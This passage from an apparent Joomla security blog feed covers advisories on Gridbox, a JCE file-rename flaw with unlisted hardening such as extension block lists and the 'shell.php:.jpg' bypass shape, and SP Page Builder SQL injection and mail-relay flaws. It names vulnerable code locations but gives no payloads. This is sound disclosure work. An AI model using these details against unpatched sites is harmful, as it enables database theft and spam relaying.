&lt;li&gt;&lt;strong&gt;2026-07-29&lt;/strong&gt; Gridbox 2.20.2 closes all 23 The payment bypass and the last injection along with everything else. Three builds is more than anyone wants a security fix to take, but 2.20.2 is the version to be on and anything on 2.20.1 or earlier is still exposed.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-07-29&lt;/strong&gt; The Joomla CNA assigns eleven CVE IDs, grouped by root cause Fewer CVEs than vulnerabilities, because the grouping is by shared cause rather than one per finding. Four of the eleven records give exploit maturity as Attacked with an urgency of Red.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-03&lt;/strong&gt; 2.20.2.2 turns Store customer registration off by default After bots found the registration endpoint and created spam accounts on sites not using the Store at all. Balbooa&apos;s note states explicitly that it does not address a security vulnerability.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-10&lt;/strong&gt; 2.20.2.3 ships as &quot;Bug Fixes and Security Hardening&quot; Four areas listed: authorisation and access control in the media manager, path validation for internal file operations, password recovery and token validation, and unspecified additional safeguards. No CVE, no severity, no affected range, and no word on whether any of it is reachable without a login.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.balbooa.com/blog/gridbox/gridbox-2-20-2-security-release&quot;&gt;Balbooa&apos;s Gridbox 2.20.2 security release&lt;/a&gt; - the vendor&apos;s own advisory and the fixed download.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.balbooa.com/blog/gridbox/gridbox-2-20-2-3-bug-fixes-and-security-hardening&quot;&gt;Balbooa&apos;s Gridbox 2.20.2.3 release&lt;/a&gt; - the later hardening release, and the version to be on now.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65884&quot;&gt;CVE-2026-65884&lt;/a&gt;, &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65887&quot;&gt;CVE-2026-65887&lt;/a&gt; and &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65888&quot;&gt;CVE-2026-65888&lt;/a&gt; - three of the eleven published records, each scored 10.0 Critical and each marked as being exploited.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/gridbox-critical-authentication-bypass/&quot;&gt;Gridbox: one cookie and you are a Super User&lt;/a&gt; - the earlier authentication bypass, CVE-2026-61425, that led to this audit.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/balbooa-forms-unauthenticated-file-upload-flaw/&quot;&gt;Our Balbooa Forms disclosure&lt;/a&gt; - the same vendor, the flaw that started the whole exchange.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/find-rogue-admin-accounts-joomla/&quot;&gt;Finding rogue admin accounts across every Joomla site&lt;/a&gt; - the tool we used to spot the planted accounts in this attack, in any group and not just Super Users.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/suspect-content-vs-hacked-files/&quot;&gt;Suspect content vs hacked files&lt;/a&gt; - the two tools for finding the shells a file-upload RCE leaves behind.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/hacked-yesterday-exploited-today/&quot;&gt;Hacked yesterday, exploited today&lt;/a&gt; - how quickly disclosure turns into exploitation, which is the whole reason we fix before we publish.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;A month of Joomla extension vulnerabilities&lt;/a&gt; - the wider run of findings this is part of.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;How to fix a hacked Joomla or WordPress site&lt;/a&gt; - what to do if a site running Gridbox has already been hit.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.joomla.org/security.html&quot;&gt;Joomla Security Strike Team&lt;/a&gt; - who reported the active exploitation.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>gridbox</category><category>balbooa</category><category>vulnerability</category><category>responsible disclosure</category><category>rce</category><enclosure url="https://mysites.guru/img/og/blog/gridbox-23-critical-vulnerabilities.png" length="0" type="image/png"/></item><item><title>JCE 2.9.99.10 Fixes Another Security Issue</title><link>https://mysites.guru/blog/jce-2-9-99-10-security-update/</link><guid isPermaLink="true">https://mysites.guru/blog/jce-2-9-99-10-security-update/</guid><description>JCE 2.9.99.10 patches a file rename flaw letting a privileged user create a hidden file in the folder they were browsing. The release hardens more too.</description><pubDate>Wed, 29 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;JCE (Joomla Content Editor) ships on more Joomla sites than any other editor extension, and it sits in the top two of our &lt;a href=&quot;https://mysites.guru/blog/top-50-joomla-extensions/&quot;&gt;live extension ranking&lt;/a&gt;. On 29 July 2026 the developer &lt;a href=&quot;https://www.joomlacontenteditor.net/news/jce-pro-2-9-99-10-released&quot;&gt;released JCE 2.9.99.10&lt;/a&gt; with one item in the changelog marked SECURITY.&lt;/p&gt;
&lt;p&gt;That item is a small one. An authenticated user with a privileged editor profile could rename a file so that it became hidden in the folder they were browsing. It needs a login, a profile that grants file browser access, and the Rename permission on top of that. It is not remote code execution and it is not another June.&lt;/p&gt;
&lt;p&gt;If you manage Joomla sites in bulk, &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;mySites.guru&lt;/a&gt; already indexes every extension on every connected site, so finding everything below 2.9.99.10 and pushing the update across all of them is a two-step job rather than an afternoon of logging into administrator panels. The &lt;a href=&quot;https://mysites.guru/jce-hack/&quot;&gt;JCE Profiles Hack page&lt;/a&gt; remains the page of truth for the far more serious June attack, which is still the reason most Joomla sites need attention.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;The short version&lt;/p&gt;
  &lt;p&gt;JCE 2.9.99.10 fixes an authenticated, privileged-user file rename flaw that could create a hidden file, tracked as CVE-2026-65891 and scored 6.5. It is a routine update, not an emergency. The urgent JCE problem was fixed back in 2.9.99.5, and any site still below that release is the one to worry about. Since this release, &lt;a href=&quot;https://mysites.guru/blog/finding-every-site-running-a-vulnerable-jce/&quot;&gt;2.9.99.11 has shipped&lt;/a&gt; (15 September 2026), the last 2.9 feature release before JCE 3.0; update to that.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;JCE 2.9.99.10&lt;/strong&gt; released 29 July 2026, with one changelog item marked SECURITY&lt;/li&gt;
&lt;li&gt;An &lt;strong&gt;authenticated, privileged user&lt;/strong&gt; could rename a file so it became hidden in the folder being browsed&lt;/li&gt;
&lt;li&gt;Rename also no longer &lt;strong&gt;replaces a file that already exists&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Tracked as &lt;strong&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-65891/&quot;&gt;CVE-2026-65891&lt;/a&gt;&lt;/strong&gt;, scored &lt;strong&gt;6.5&lt;/strong&gt; (medium), reflecting a flaw that needs a privileged login and affects integrity only&lt;/li&gt;
&lt;li&gt;Materially less severe than &lt;strong&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-48907/&quot;&gt;CVE-2026-48907&lt;/a&gt;&lt;/strong&gt;, the unauthenticated flaw fixed in 2.9.99.5 and later added to CISA’s Known Exploited Vulnerabilities catalog&lt;/li&gt;
&lt;li&gt;Comparing the two packages shows the release &lt;strong&gt;hardens considerably more than the changelog lists&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Update at your normal cadence, but treat anything &lt;strong&gt;below 2.9.99.5&lt;/strong&gt; as urgent&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;What JCE 2.9.99.10 actually fixes&lt;/h2&gt;
&lt;p&gt;The vendor describes the security item in one sentence: an authenticated, privileged user could rename a file in a way that created a hidden file in the folder they were browsing, instead of the rename being rejected as invalid. The release notes add that renaming will no longer replace a file that already exists, which is a second, quieter fix bundled into the same change.&lt;/p&gt;
&lt;p&gt;Three conditions have to hold before any of that is reachable. The attacker needs a working login, a JCE editor profile assigned to them that grants file browser access such as the Image Manager or File Browser, and the Rename permission within that profile. On a site where lower-trust users get an editor profile with file management turned on, that is a realistic combination. On a site where only administrators touch the file browser, it is not.&lt;/p&gt;
&lt;p&gt;The outcome is a hidden file, not code execution. The extension of the renamed file is inherited from the original, so an attacker cannot choose it. A file called &lt;code&gt;photo.jpg&lt;/code&gt; can be turned into &lt;code&gt;.jpg&lt;/code&gt;, which disappears from the JCE file listing and from a plain directory listing on the server. It conceals something already uploaded rather than getting anything new onto the server.&lt;/p&gt;
&lt;h2&gt;Is this as serious as the June JCE vulnerability?&lt;/h2&gt;
&lt;p&gt;No, and conflating the two would be a disservice. June’s issue was &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-48907/&quot;&gt;CVE-2026-48907&lt;/a&gt;: unauthenticated, CVSS 10.0, exploitable by anyone who could reach the site, and added to &lt;a href=&quot;https://www.cisa.gov/known-exploited-vulnerabilities-catalog&quot;&gt;CISA’s Known Exploited Vulnerabilities catalog&lt;/a&gt; after evidence of real-world attacks. It was fixed in &lt;a href=&quot;https://mysites.guru/blog/jce-pro-2-9-99-5-security-update/&quot;&gt;2.9.99.5&lt;/a&gt; on 3 June, followed by a &lt;a href=&quot;https://mysites.guru/blog/jce-pro-2-9-99-6-security-update/&quot;&gt;full hardening audit in 2.9.99.6&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The 2.9.99.10 issue sits at the opposite end of the scale. It needs authentication, a privileged profile, and a specific permission, and it yields concealment rather than execution. It is tracked as &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-65891/&quot;&gt;CVE-2026-65891&lt;/a&gt; and scored 6.5, a medium rating that matches the shape of the bug. The CVE record’s own affected range, versions below 2.20.2, does not correspond to any JCE release: the affected versions are 2.9.99.6 through 2.9.99.9, fixed in 2.9.99.10.&lt;/p&gt;
&lt;p&gt;Scale is the reason it matters. JCE is the most widely installed Joomla editor, so a file handling weakness in it reaches a lot of sites if it ever chains with something else.&lt;/p&gt;
&lt;h2&gt;What the JCE changelog does not mention&lt;/h2&gt;
&lt;p&gt;We unpacked both release packages and compared them file by file. Of the eight sub-packages inside &lt;code&gt;pkg_jce&lt;/code&gt;, only &lt;code&gt;com_jce&lt;/code&gt; contains real code changes; the seven bundled plugins are version bumps and nothing else. Within &lt;code&gt;com_jce&lt;/code&gt;, most changed files differ only in their version banner, leaving a much smaller set of real changes.&lt;/p&gt;
&lt;p&gt;Several of those changes are substantive security hardening that appears nowhere in the changelog:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The blocked executable extension list grew a lot. 2.9.99.10 adds &lt;code&gt;pht&lt;/code&gt;, &lt;code&gt;phtm&lt;/code&gt;, &lt;code&gt;phps&lt;/code&gt;, &lt;code&gt;phpt&lt;/code&gt;, &lt;code&gt;pgif&lt;/code&gt;, &lt;code&gt;aspx&lt;/code&gt;, &lt;code&gt;asa&lt;/code&gt;, &lt;code&gt;asax&lt;/code&gt;, &lt;code&gt;cer&lt;/code&gt;, &lt;code&gt;jsp&lt;/code&gt;, &lt;code&gt;jspx&lt;/code&gt;, &lt;code&gt;cgi&lt;/code&gt;, &lt;code&gt;pl&lt;/code&gt;, &lt;code&gt;inc&lt;/code&gt;, &lt;code&gt;shtml&lt;/code&gt;, &lt;code&gt;shtm&lt;/code&gt;, &lt;code&gt;stm&lt;/code&gt;, &lt;code&gt;htaccess&lt;/code&gt;, &lt;code&gt;htpasswd&lt;/code&gt; and &lt;code&gt;ini&lt;/code&gt;. None of those were blocked in 2.9.99.9.&lt;/li&gt;
&lt;li&gt;Each part of a filename is now trimmed of colons and semicolons before comparison, and the whole name is Unicode normalised. That defeats classic bypass shapes such as &lt;code&gt;shell.php:.jpg&lt;/code&gt; and fullwidth-character variants.&lt;/li&gt;
&lt;li&gt;The random filename suffix went from five hexadecimal characters of an md5 of &lt;code&gt;uniqid(rand(), 1)&lt;/code&gt; to sixteen characters from &lt;code&gt;random_bytes()&lt;/code&gt;. The changelog mentions the new fully-randomised naming option, but not that the old generator was guessable.&lt;/li&gt;
&lt;li&gt;Rename, copy and move now validate file extensions. Previously only the filename was checked on those operations, not whether the extension was permitted by the profile.&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;allowroot&lt;/code&gt; filesystem option is gone. In 2.9.99.9, setting it pointed the file browser at the site root rather than the configured images directory.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;None of that is criticism of the developer, who has shipped seven releases on this extension since May and has been open about the June incident. But it does mean the changelog understates what this release is. If you were deciding whether to bother, decide on the hardening rather than the one listed item.&lt;/p&gt;
&lt;h2&gt;Which Joomla sites are actually affected?&lt;/h2&gt;
&lt;p&gt;Across the Joomla sites connected to mySites.guru, not one is running a version in the affected 2.9.99.6 to 2.9.99.9 window. Sites that stay close to current move through these releases fast, and the handful sitting on a 2.9.99.x build had already gone past it.&lt;/p&gt;
&lt;p&gt;The uncomfortable half of the same data is that hundreds of connected Joomla sites are still on a 2.7.x build of JCE, years behind, and a long tail sits on 2.6.x and older 2.9.x releases. Those sites are not exposed to the rename issue. They are exposed to the unauthenticated upload flaw that CISA confirmed was being actively exploited, which is a far worse place to be.&lt;/p&gt;
&lt;p&gt;If you look after Joomla sites for other people, that gap is the thing to plan around. The sites that need your attention are almost never the ones a release behind. They are the ones no one has touched since the last redesign.&lt;/p&gt;
&lt;h2&gt;How do I update JCE across every Joomla site?&lt;/h2&gt;
&lt;p&gt;On a single site, update JCE the way you would any Joomla extension, through the Joomla Update or Extensions manager in the administrator. JCE 2.9.99.x runs on &lt;a href=&quot;https://joomla3security.com/&quot;&gt;Joomla 3&lt;/a&gt;, 4, 5 and 6, and the developer confirms it does not need the Backwards Compatibility plugin on Joomla 5 or 6.&lt;/p&gt;
&lt;p&gt;Across many sites, doing that by hand does not scale, which is the problem &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;mySites.guru&lt;/a&gt; exists to solve. Every connected Joomla site has its full extension inventory indexed, so you can list every site with JCE installed grouped by version, identify everything below 2.9.99.10, and push the update across all of them in one batch. The &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; will show you the same inventory for your own sites before you commit to anything.&lt;/p&gt;
&lt;p&gt;While you are in there, it is worth checking older sites for the traces of the June attack rather than assuming an update is a cleanup. Updating an extension closes the hole; it does not remove anything that came through it. Our &lt;a href=&quot;https://mysites.guru/blog/finding-every-site-running-a-vulnerable-jce/&quot;&gt;guide to finding every site running a vulnerable JCE&lt;/a&gt; covers the indicators of compromise and the tool that finds rogue profiles.&lt;/p&gt;
&lt;h2&gt;If you cannot update JCE straight away&lt;/h2&gt;
&lt;p&gt;The developer has published a specific interim measure for this issue, which is unusual and welcome. Disable the Rename option in the settings of each file-related plugin, such as the Image Manager and the File Browser, for any profile assigned to untrusted or lower-trust users. That removes the permission the flaw depends on until the update is applied.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Warning&lt;/p&gt;
  &lt;p&gt;This mitigation applies to the rename issue only. It does nothing for the unauthenticated upload flaw fixed in 2.9.99.5. If a site is below 2.9.99.5, no permission change will protect it, because the attack does not need a login at all.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;The broader point the developer makes alongside it is the right one, and it applies well beyond JCE. The features and access you grant to lower-trust users on any Joomla extension should be the minimum they actually need, reviewed occasionally rather than set once and forgotten. Most file browser permissions in the wild were granted years ago to someone who has since left.&lt;/p&gt;
&lt;h2&gt;Does this affect WordPress?&lt;/h2&gt;
&lt;p&gt;No. JCE is a Joomla-only editor extension. There is no WordPress build and no shared codebase, so WordPress sites running the block editor or TinyMCE are unaffected by this release and by every other JCE issue covered here.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2026-06-03&lt;/strong&gt; The urgent JCE problem was fixed back in 2.9.99.5 CVE-2026-48907, an unauthenticated file upload scored 10.0, exploitable by anyone who could reach the site. Any site still below 2.9.99.5 has a real emergency, and it is not this one.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-06-16&lt;/strong&gt; CISA adds CVE-2026-48907 to its Known Exploited Vulnerabilities catalog After evidence of real-world attacks.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-07-29&lt;/strong&gt; 2.9.99.10 ships with one changelog item marked SECURITY An authenticated, privileged user could rename a file so it became hidden in the folder being browsed, and rename no longer replaces a file that already exists without warning. It needs authentication, a privileged profile and a specific permission, and it yields concealment rather than execution.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-07-29&lt;/strong&gt; CVE-2026-65891 assigned, scored 6.5 Medium severity, reflecting a bug that needs a privileged login and affects integrity only. Comparing the packages shows the release hardens more than the one changelog line describes.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-09-15&lt;/strong&gt; 2.9.99.11 supersedes this release The last release to add features to the 2.9 series. JCE 3.0 is due within days, and 2.9 moves to maintenance, still receiving security fixes.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomlacontenteditor.net/news/jce-pro-2-9-99-10-released&quot;&gt;JCE Pro 2.9.99.10 released&lt;/a&gt; - the developer&apos;s own announcement, including the interim mitigation for sites that cannot update immediately.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomlacontenteditor.net/support/changelog/editor&quot;&gt;JCE Editor changelog&lt;/a&gt; - the full version-by-version history, useful for seeing how many releases a site has skipped.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-48907/&quot;&gt;CVE-2026-48907&lt;/a&gt; - our record page for the unauthenticated flaw fixed in 2.9.99.5, the one that actually matters for older sites.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cisa.gov/known-exploited-vulnerabilities-catalog&quot;&gt;CISA Known Exploited Vulnerabilities catalog&lt;/a&gt; - CISA only lists a flaw here with evidence of exploitation in the wild.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>security</category><category>jce</category><category>extensions</category><category>vulnerability</category><enclosure url="https://mysites.guru/img/og/blog/jce-2-9-99-10-security-update.png" length="0" type="image/png"/></item><item><title>Pre-Authentication SQL Injection and Mail Relay in SP Page Builder found by mySites.guru</title><link>https://mysites.guru/blog/sp-page-builder-sql-injection-mail-relay-disclosure/</link><guid isPermaLink="true">https://mysites.guru/blog/sp-page-builder-sql-injection-mail-relay-disclosure/</guid><description>mySites.guru found four vulnerabilities in SP Page Builder for Joomla: a SQL injection and a mail relay, fixed in 6.7.1. A fifth was still there until 6.8.0.</description><pubDate>Mon, 27 Jul 2026 13:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.joomshaper.com/page-builder&quot;&gt;SP Page Builder&lt;/a&gt; is JoomShaper’s drag-and-drop page builder for Joomla, one of the most widely installed page builders in the ecosystem. We have reported issues in it before: the &lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-zero-day-uploadcustomicon-rce/&quot;&gt;June 2026 unauthenticated icon-upload zero-day&lt;/a&gt; that was being exploited in the wild and fixed in 6.6.2. During a later audit of SP Page Builder 6.7.0, &lt;strong&gt;mySites.guru found four further vulnerabilities, and reported them to JoomShaper before disclosing anything publicly.&lt;/strong&gt; JoomShaper closed all four in SP Page Builder &lt;strong&gt;6.7.1&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;If you run SP Page Builder on any Joomla site, update to 6.7.1 now. If you manage more than a handful of sites, read on for how to find every affected one at once.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Update, 12 August 2026: fixed at last, in 6.8.0&lt;/p&gt;&lt;p&gt;A fifth flaw in this same release, &lt;strong&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-65876/&quot;&gt;CVE-2026-65876&lt;/a&gt;&lt;/strong&gt;, is &lt;strong&gt;still unpatched in 6.7.1&lt;/strong&gt;, and is reported to be under active exploitation. It is an unauthenticated SQL injection through the &lt;code&gt;catid&lt;/code&gt; parameter of the &lt;code&gt;loadMoreArticles&lt;/code&gt; endpoint. When this post first went out we noted that CVE and said we had not tested it. We have now, and the CVE record’s claim that 6.7.1 fixes it is wrong. &lt;strong&gt;JoomShaper shipped 6.8.0 on 12 August 2026&lt;/strong&gt; and it fixes that fifth flaw. We re-tested the released package the same day and confirmed it. &lt;strong&gt;Update to 6.8.0 now&lt;/strong&gt;, and if you applied the hand mitigation below, take it out again afterwards. The same release also fixes a pre-authentication remote code execution flaw we reported on 27 July, which is &lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-pre-auth-rce-file-inclusion-disclosure/&quot;&gt;written up separately here&lt;/a&gt;. Since then we have reported &lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-sql-injection-captcha-bypass-disclosure/&quot;&gt;five more issues&lt;/a&gt;, fixed in 6.9.1, which is the version to be on today. &lt;a href=&quot;#the-fifth-flaw-that-671-did-not-fix&quot;&gt;The detail is below&lt;/a&gt;.&lt;/p&gt;&lt;/div&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;mySites.guru found &lt;strong&gt;four vulnerabilities&lt;/strong&gt; in SP Page Builder 6.7.0 and reported them to JoomShaper&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Pre-authentication SQL injection (CVSS 4.0 8.7, High).&lt;/strong&gt; The Dynamic Content endpoint placed a request value straight into the database query’s &lt;code&gt;ORDER BY&lt;/code&gt;. It is protected only by a CSRF token, which Joomla hands to every anonymous visitor, so it is effectively pre-auth. An attacker could &lt;strong&gt;read the entire database&lt;/strong&gt;, password hashes included&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Unauthenticated mail relay (CVSS 4.0 6.9, Medium).&lt;/strong&gt; The contact-form addons protected the recipient address with a secret that was &lt;strong&gt;hardcoded identically into every copy of the extension&lt;/strong&gt;. Because the secret was public in the shipped source, an attacker could forge it and send email to any recipient with a spoofed sender, from your domain and mail server, an open spam and phishing relay&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Authenticated SQL injection (CVSS 4.0 7.1, High).&lt;/strong&gt; The media manager’s search and date filters placed request input into the database query unescaped. Reachable by a low-privilege author&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Authenticated arbitrary file delete (CVSS 4.0 7.2, High).&lt;/strong&gt; A media action deleted a file at a request-supplied path with no traversal guard, so a low-privilege author could delete &lt;code&gt;configuration.php&lt;/code&gt; or a protective &lt;code&gt;.htaccess&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Update to SP Page Builder 6.7.1 immediately&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Reported privately, fixed in &lt;strong&gt;6.7.1&lt;/strong&gt; on 27 July 2026. The Joomla CNA assigned four CVEs the same day: &lt;strong&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-65766/&quot;&gt;CVE-2026-65766&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-65877/&quot;&gt;CVE-2026-65877&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-65878/&quot;&gt;CVE-2026-65878&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-65879/&quot;&gt;CVE-2026-65879&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;A fifth issue, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-65876/&quot;&gt;CVE-2026-65876&lt;/a&gt;, was still live in 6.7.1&lt;/strong&gt; despite the CVE record saying otherwise, and was reported to be exploited in the wild. It was finally fixed in &lt;strong&gt;6.8.0 on 12 August 2026&lt;/strong&gt;, which we verified against the released package. &lt;strong&gt;Update to 6.8.0&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;mySites.guru already flags every connected Joomla site still running a vulnerable version&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;&lt;p&gt;mySites.guru discovered these issues and reported them to JoomShaper before publishing details. We withheld the exact requests and any proof-of-concept until a fix was available and site owners had a reasonable window to update. This is how we handle every vulnerability we find: fix first, publish second.&lt;/p&gt;&lt;/div&gt;
&lt;h2&gt;The worst one: an anonymous request that reads the database&lt;/h2&gt;
&lt;p&gt;SP Page Builder’s Dynamic Content feature renders lists of content, articles, tags and custom collections, through a front-end endpoint. For the tags source, it built the query’s sort clause by pasting a &lt;code&gt;direction&lt;/code&gt; value taken &lt;strong&gt;raw from the request body&lt;/strong&gt; onto the end of &lt;code&gt;ORDER BY title&lt;/code&gt; (&lt;code&gt;dynamic_content.php:232&lt;/code&gt;, with the same pattern duplicated at &lt;code&gt;CollectionData.php:2004&lt;/code&gt;). A sort direction is one of the places you cannot safely quote a value, so it has to be restricted to &lt;code&gt;ASC&lt;/code&gt; or &lt;code&gt;DESC&lt;/code&gt;. This path did not restrict it.&lt;/p&gt;
&lt;p&gt;The only thing standing in front of the endpoint is a CSRF token check, and that is not the barrier it looks like. Joomla issues a valid token to &lt;strong&gt;every&lt;/strong&gt; visitor, including anonymous ones, the moment they load any page. A scripted attacker simply fetches a token and sends it back, so in practical terms this is a pre-authentication &lt;a href=&quot;https://owasp.github.io/www-community/attacks/SQL_Injection&quot;&gt;SQL injection&lt;/a&gt;: an anonymous attacker could read any table in the Joomla database, from user accounts and password hashes to the site secret and every stored record.&lt;/p&gt;
&lt;p&gt;We confirmed it on our own SP Page Builder test install with a time-based proof: a crafted &lt;code&gt;direction&lt;/code&gt; value that made the database pause for a measurable few seconds against an instant baseline, while a normal request returned the expected tag data, which together show the injected code ran inside a real query. We did not extract real data. The fix restricts the direction to &lt;code&gt;ASC&lt;/code&gt; or &lt;code&gt;DESC&lt;/code&gt; before it reaches the query, in both places, and puts a permission check in front of the endpoint so an anonymous visitor cannot reach it at all.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;A database read leaves your site looking untouched: no file changes, no new admin user, nothing for an integrity scanner to catch. If a vulnerable version was ever live, treat the database as potentially copied, rotate the Joomla secret and any stored API keys, and assume password hashes are known.&lt;/p&gt;&lt;/div&gt;
&lt;h2&gt;The one that surprised us: an open mail relay from a shared secret&lt;/h2&gt;
&lt;p&gt;The root cause here is a design decision rather than a slip. SP Page Builder’s contact-form addons, &lt;code&gt;ajax_contact&lt;/code&gt; and &lt;code&gt;form_builder&lt;/code&gt;, let a site owner set where form submissions are emailed. To stop a visitor tampering with that recipient, the addon signs it with a secret and checks the signature on submission. Sound idea. The problem is the secret: it is a single string &lt;strong&gt;hardcoded into the addon source (&lt;code&gt;site.php:24&lt;/code&gt;), identical in every copy of SP Page Builder ever shipped&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;A secret that ships in the product is not a secret. Anyone with a copy of the extension, which is anyone, can read it and forge a valid signature offline. With that, an attacker could set the form’s recipient to any address they liked, and its sender to anything they liked, and make the site send arbitrary email. Two smaller weaknesses removed the remaining friction: the built-in “default” captcha compared two values that both came from the attacker (&lt;code&gt;site.php:460&lt;/code&gt;), so it verified nothing, and the CSRF check switched itself off whenever Joomla page caching was enabled (&lt;code&gt;site.php:257&lt;/code&gt;), a common production setting. That captcha pattern had a longer life than this post did. JoomShaper fixed it here and in the form builder, but the opt-in form kept the same line until we &lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-sql-injection-captcha-bypass-disclosure/&quot;&gt;reported it again in September&lt;/a&gt;, fixed in 6.9.1.&lt;/p&gt;
&lt;p&gt;The upshot is an unauthenticated open mail relay. Any SP Page Builder site with a contact form on a published page could be made to send email to any recipient, with a spoofed sender, &lt;strong&gt;from the site’s own domain and mail server&lt;/strong&gt;. That is a spam and phishing platform running on your domain’s reputation, and the fastest way to get your legitimate mail blacklisted. We proved it on our test install: an anonymous request delivered a message to an address of our choosing with a spoofed sender, and the server reported success. The correct fix, which the update makes, is to derive the signature from the site’s &lt;strong&gt;own&lt;/strong&gt; secret, unique per install, rather than a constant shared by every copy.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Hardcoding a secret into shipped source is a recurring class of bug (CWE-798). The moment the same key protects every install, it protects none of them. Joomla already gives each site a unique secret for exactly this purpose; that is what per-site signing should use.&lt;/p&gt;&lt;/div&gt;
&lt;h2&gt;The two that need a low-privilege login&lt;/h2&gt;
&lt;p&gt;The remaining two issues need an account, but only a low-privilege one: a Joomla user who can edit their own page-builder content, the sort of author account many sites hand out freely. Neither should be dismissed on that basis.&lt;/p&gt;
